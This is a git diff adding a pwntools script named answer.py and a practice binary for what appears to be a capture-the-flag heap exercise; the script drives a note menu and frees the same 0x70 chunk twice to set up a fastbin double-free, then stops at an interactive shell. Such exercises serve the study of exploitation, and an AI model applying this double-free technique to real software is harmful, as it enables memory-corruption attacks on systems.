diff --git a/FastBin/fastbin/answer.py b/FastBin/fastbin/answer.py
new file mode 100644
index 0000000..173273b
--- /dev/null
+++ b/FastBin/fastbin/answer.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python3
+# coding = utf-8
+
+from pwn import *
+from LibcSearcher import *
+context(arch = "amd64", os = "linux", log_level = "debug")
+
+def note_init(name):
+    p.recvuntil("what's your name:\n")
+    p.send(name)
+    p.recvuntil('hello, ')
+
+def note_create(size, data):
+    p.recvuntil('>')
+    p.sendline('1')
+    p.recvuntil('size ?')
+    p.sendline(str(size))
+    p.recvuntil('data:')
+    p.sendline(data)
+
+def note_delete(index):
+    p.recvuntil('>')
+    p.sendline('2')
+    p.recvuntil('index?')
+    p.sendline(str(index))
+
+def note_print(index):
+    p.recvuntil('>')
+    p.sendline('3')
+    p.recvuntil('index?')
+    p.sendline(str(index))
+
+p = process('./fastbin')
+elf = ELF('./fastbin')
+#gdb.attach(p, "")
+
+note_init('aaa')
+note_create(0x70, 'a')
+note_create(0x70, 'a')
+note_delete(0)
+note_delete(1)
+note_delete(0)
+
+p.interactive()
\ No newline at end of file
diff --git a/FastBin/fastbin/fastbin b/FastBin/fastbin/fastbin
new file mode 100755
index 0000000..06048c6
Binary files /dev/null and b/FastBin/fastbin/fastbin differ